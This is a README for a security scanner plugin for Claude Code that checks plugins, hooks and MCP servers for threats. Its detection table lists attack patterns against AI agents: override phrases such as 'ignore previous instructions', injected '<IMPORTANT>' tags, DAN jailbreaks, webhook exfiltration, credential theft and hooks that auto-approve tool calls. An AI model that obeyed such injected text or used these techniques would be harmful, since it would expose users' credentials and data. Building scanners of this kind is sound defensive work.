mcp-scanner

MCP Scanner

Security scanner plugin for Claude Code. Scans plugins, skills, hooks, and MCP servers for threats before you use them.

Agents using Claude Code can be compromised through malicious plugins — prompt injection in tool descriptions, data exfiltration via webhooks, credential theft from environment variables, and obfuscated payloads. Per Snyk's ToxicSkills study, 36% of agent skills have at least one security flaw. MCP Scanner detects these threats using static analysis combined with Claude's semantic analysis.

Install

git clone https://github.com/digitaltitann/mcp-scanner ~/.claude/plugins/mcp-scanner

On Windows:

git clone https://github.com/digitaltitann/mcp-scanner $env:USERPROFILE\.claude\plugins\mcp-scanner

No dependencies required — Python stdlib only.

Usage

Scan a plugin

/scan-plugin ~/.claude/plugins/some-plugin

Or ask naturally: "Is this plugin safe?"

Scan all installed plugins

/scan-all

Scan MCP server configurations

/scan-mcp

Install a plugin safely (scan before activation)

/install-plugin https://github.com/user/some-plugin

Export a scan report as markdown

/export-report ~/.claude/plugins/some-plugin

Scan only changed files

/scan-diff ~/.claude/plugins/some-plugin
/scan-diff ~/.claude/plugins/some-plugin --since HEAD~1

Scan a GitHub repo without installing

/scan-remote user/plugin-repo
/scan-remote https://github.com/user/plugin-repo --branch dev

Requires the gh CLI to be installed and authenticated.

View scan history and trends

/scan-history --show
/scan-history --trends
/scan-history --stats

Map plugin permissions

/scan-permissions ~/.claude/plugins/some-plugin
/scan-permissions --all

Shows what each plugin can access: hooks, network, env vars, filesystem, subprocesses.

Export as SARIF for CI/IDE integration

/export-sarif ~/.claude/plugins/some-plugin -o report.sarif

SARIF 2.1.0 output works with GitHub Code Scanning, VS Code SARIF Viewer, and CI pipelines.

What It Detects

81 built-in signatures across 11 threat categories (expandable to 145+ with the community signature feed):

Category	Examples
Prompt Injection	"ignore previous instructions", <IMPORTANT> tag injection, "MANDATORY: ALWAYS CALL", DAN jailbreaks
Data Exfiltration	requests.post with env vars, fetch() + POST, DNS exfiltration, clipboard access
Code Execution	eval(), exec(), subprocess(shell=True), child_process.exec()
Credential Theft	os.environ["API_KEY"], SSH key access, bulk env var dumps, suspicious env var names
Known Malicious	7 fingerprinted attack tools from security research (promptfoo, Invariant Labs, DVMCP)
Network Abuse	HTTP instead of HTTPS, hardcoded IPs, connections to webhook.site/pastebin/ngrok
Obfuscation	base64 decode + exec, hex-encoded payloads, String.fromCharCode chains
File System Abuse	directory traversal, symlink attacks, .bashrc modification, crontab creation
Over-Broad Permissions	allowed-tools: *, wildcard MCP tools
Hook Hijacking	auto-approving tool calls, modifying tool inputs, session tracking
Rug Pull Detection	runtime docstring swaps, trigger file checks for delayed activation

How It Works

Two-phase scanning:

1. Static analysis — Python regex scanner runs fast pattern matching across all files. Checks line-by-line patterns, multi-line patterns, MCP configs, hook configs, file structure, known malicious signatures, and dependencies.

2. Semantic analysis — Claude reads flagged files and performs deeper analysis that regex can't do: context-dependent risk assessment, indirect prompt injection, combined pattern escalation (credential access + network call = CRITICAL).

Risk levels:

• SAFE — No findings or only INFO-level items
• CAUTION — LOW/MEDIUM findings that warrant review
• DANGER — CRITICAL or multiple HIGH findings indicating active threats

Continuous Monitoring

Three layers of ongoing protection:

1. Session Gate Scan

Automatically runs at every Claude Code session start. Checksums all installed plugins and compares against a stored baseline. If any plugin is new or has changed files, runs the scanner and warns you.

2. Daily Integrity Scan

Scheduled full scan of all plugins with JSON reports.

# Install as daily scheduled task (Windows, runs at 8 AM)
python ~/.claude/plugins/mcp-scanner/scripts/daily_scan.py --install

# Run manually
python ~/.claude/plugins/mcp-scanner/scripts/daily_scan.py

# Remove scheduled task
python ~/.claude/plugins/mcp-scanner/scripts/daily_scan.py --uninstall

Reports are saved to ~/.claude/mcp-scanner-reports/scan-YYYY-MM-DD.json with 30-day retention.